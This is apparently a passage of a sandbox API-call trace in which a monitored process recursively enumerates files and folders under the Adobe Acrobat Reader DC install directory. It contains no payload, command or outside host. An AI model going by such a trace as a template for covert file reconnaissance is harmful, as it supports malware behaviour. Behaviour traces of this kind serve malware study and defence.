	[0163.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0163.008] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0163.008] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.008] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x1923f03a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1
	[0163.008] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaa879d8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x235f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCChromeNativeMessagingHost.exe", cAlternateFileName="WCCHRO~1.EXE")) returned 1
	[0163.008] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaa879d8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x235f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCChromeNativeMessagingHost.exe", cAlternateFileName="WCCHRO~1.EXE")) returned 0
	[0163.008] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0163.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0163.009] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WCChromeExtn", cAlternateFileName="WCCHRO~1")) returned 0
	[0163.009] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0163.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0163.011] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec3e62f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_asym.dll", cAlternateFileName="CCME_A~1.DLL")) returned 1
	[0163.011] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a3b8a6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x62c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_base.dll", cAlternateFileName="CCME_B~1.DLL")) returned 1
	[0163.011] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb1160cd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x5cc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_base_non_fips.dll", cAlternateFileName="CCME_B~2.DLL")) returned 1
	[0163.011] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdecb0d47, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_ecc.dll", cAlternateFileName="")) returned 1
	[0163.011] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x2d9d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Click on 'Change' to select default PDF handler.pdf", cAlternateFileName="CLICKO~1.PDF")) returned 1
	[0163.011] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf9352cd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2cabf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoolType.dll", cAlternateFileName="")) returned 1
	[0163.011] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec648c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35600, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme.dll", cAlternateFileName="CRYPTO~1.DLL")) returned 1
	[0163.012] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a61b10, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xb74, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme.sig", cAlternateFileName="CRYPTO~1.SIG")) returned 1
	[0163.012] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda97c8cb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1fff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectInk.dll", cAlternateFileName="DIRECT~1.DLL")) returned 1
	[0163.012] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d4b4a4a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x15050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eula.exe", cAlternateFileName="")) returned 1
	[0163.012] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37c828ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa1aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtendScript.dll", cAlternateFileName="EXTEND~1.DLL")) returned 1
	[0163.012] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b2b330, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xd72a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icucnv40.dll", cAlternateFileName="")) returned 1
	[0163.013] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b51580, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt40.dll", cAlternateFileName="")) returned 1
	[0163.013] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3626e649, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDTemplates", cAlternateFileName="IDTEMP~1")) returned 1
	[0163.013] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0163.013] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3626e649, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0163.014] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3626e649, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.014] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 1
	[0163.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0163.015] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0163.017] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.017] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362948a6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x14096, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1
	[0163.017] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x13b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1
	[0163.017] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x13b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0
	[0163.017] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0163.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0163.017] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0
	[0163.017] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0163.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0163.018] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Javascripts", cAlternateFileName="JAVASC~1")) returned 1
	[0163.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0163.018] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0163.019] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.019] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x36c4f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 1
	[0163.019] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x36c4f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 0
	[0163.019] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0163.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0163.019] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf981782, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbc1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1
	[0163.019] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Legal", cAlternateFileName="")) returned 1
	[0163.019] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0163.019] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0163.023] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.023] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 1
	[0163.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0163.023] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0163.024] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.024] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1
	[0163.024] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa909, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1
